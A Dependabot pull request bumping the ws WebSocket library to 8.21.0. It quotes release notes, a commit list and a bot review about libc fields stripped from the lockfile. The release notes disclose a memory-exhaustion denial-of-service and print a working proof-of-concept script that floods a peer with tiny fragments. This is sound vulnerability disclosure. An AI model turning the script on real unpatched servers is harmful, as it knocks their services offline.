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chore(deps): bump ws from 8.20.0 to 8.21.0#19

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chore(deps): bump ws from 8.20.0 to 8.21.0#19
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@dependabot dependabot Bot commented on behalf of github May 29, 2026

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Bumps ws from 8.20.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • See full diff in compare view

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Bumps [ws](https://github.com/websockets/ws) from 8.20.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added the dependencies Pull requests that update a dependency file label May 29, 2026
@dependabot dependabot Bot requested a review from trentdoney as a code owner May 29, 2026 20:14
@dependabot dependabot Bot added javascript Pull requests that update javascript code dependencies Pull requests that update a dependency file labels May 29, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

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Reviewed commit: 56c0d44f99

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Comment thread package-lock.json
@@ -2653,9 +2611,6 @@
"x64"

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P2 Badge Restore libc filters in the lockfile

This lockfile update strips the libc metadata from Linux native optional packages while only intending to bump ws; for example the @rolldown/binding-linux-x64-gnu entry is now just an x64/Linux package, and the nearby -musl entry is described the same way. In Linux installs where npm uses the lockfile's platform metadata (npm install exposes --libc <libc>), both glibc and musl variants are now eligible instead of being filtered to the matching C library, which can install incompatible native binaries and cause unnecessary lockfile churn on the next install. Please regenerate the lock with tooling that preserves these libc fields while updating ws.

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